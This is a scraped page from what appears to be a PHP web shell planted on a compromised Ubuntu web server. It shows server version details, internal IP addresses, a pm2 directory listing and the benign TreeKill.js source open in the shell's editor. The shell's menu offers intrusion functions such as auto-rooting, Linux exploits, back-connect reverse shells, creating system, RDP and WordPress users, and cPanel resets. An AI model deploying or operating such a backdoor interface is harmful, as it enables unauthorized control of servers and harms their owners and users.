Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
pm2 /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxrwxr-x
God
[ DIR ]
drwxrwxr-x
binaries
[ DIR ]
drwxrwxr-x
templates
[ DIR ]
drwxrwxr-x
tools
[ DIR ]
drwxrwxr-x
API.js
58.73
KB
-rw-rw-r--
Client.js
19.98
KB
-rw-rw-r--
Common.js
25.65
KB
-rw-rw-r--
Configuration.js
6.4
KB
-rw-rw-r--
Daemon.js
12.6
KB
-rw-rw-r--
Event.js
1.1
KB
-rw-rw-r--
God.js
17.56
KB
-rw-rw-r--
HttpInterface.js
2.25
KB
-rw-rw-r--
ProcessContainer.js
8.9
KB
-rw-rw-r--
ProcessContainerFork.js
1.25
KB
-rw-rw-r--
ProcessUtils.js
1.39
KB
-rw-rw-r--
TreeKill.js
2.71
KB
-rw-rw-r--
Utility.js
8.31
KB
-rw-rw-r--
VersionCheck.js
1022
B
-rw-rw-r--
Watcher.js
2.91
KB
-rw-rw-r--
Worker.js
6.09
KB
-rw-rw-r--
completion.js
6.71
KB
-rw-rw-r--
completion.sh
1.16
KB
-rw-rw-r--
motd
1.22
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TreeKill.js
'use strict'; // From https://raw.githubusercontent.com/pkrumins/node-tree-kill/master/index.js var childProcess = require('child_process'); var spawn = childProcess.spawn; var exec = childProcess.exec; module.exports = function (pid, signal, callback) { var tree = {}; var pidsToProcess = {}; tree[pid] = []; pidsToProcess[pid] = 1; switch (process.platform) { case 'win32': exec('taskkill /pid ' + pid + ' /T /F', { windowsHide: true }, callback); break; case 'darwin': buildProcessTree(pid, tree, pidsToProcess, function (parentPid) { return spawn('pgrep', ['-P', parentPid]); }, function () { killAll(tree, signal, callback); }); break; // case 'sunos': // buildProcessTreeSunOS(pid, tree, pidsToProcess, function () { // killAll(tree, signal, callback); // }); // break; default: // Linux buildProcessTree(pid, tree, pidsToProcess, function (parentPid) { return spawn('ps', ['-o', 'pid', '--no-headers', '--ppid', parentPid]); }, function () { killAll(tree, signal, callback); }); break; } }; function killAll (tree, signal, callback) { var killed = {}; try { Object.keys(tree).forEach(function (pid) { tree[pid].forEach(function (pidpid) { if (!killed[pidpid]) { killPid(pidpid, signal); killed[pidpid] = 1; } }); if (!killed[pid]) { killPid(pid, signal); killed[pid] = 1; } }); } catch (err) { if (callback) { return callback(err); } else { console.error(err); } } if (callback) { return callback(); } } function killPid(pid, signal) { try { process.kill(parseInt(pid, 10), signal); } catch (err) { if (err.code !== 'ESRCH') console.error(err); } } function buildProcessTree (parentPid, tree, pidsToProcess, spawnChildProcessesList, cb) { var ps = spawnChildProcessesList(parentPid); var allData = ''; ps.on('error', function(err) { console.error(err); }); if (ps.stdout) { ps.stdout.on('data', function (data) { data = data.toString('ascii'); allData += data; }); } var onClose = function (code) { delete pidsToProcess[parentPid]; if (code !== 0) { // no more parent processes if (Object.keys(pidsToProcess).length == 0) { cb(); } return; } var pids = allData.match(/\d+/g) || []; if (pids.length === 0) return cb(); pids.forEach(function (pid) { pid = parseInt(pid, 10); tree[parentPid].push(pid); tree[pid] = []; pidsToProcess[pid] = 1; buildProcessTree(pid, tree, pidsToProcess, spawnChildProcessesList, cb); }); }; ps.on('close', onClose); }
Close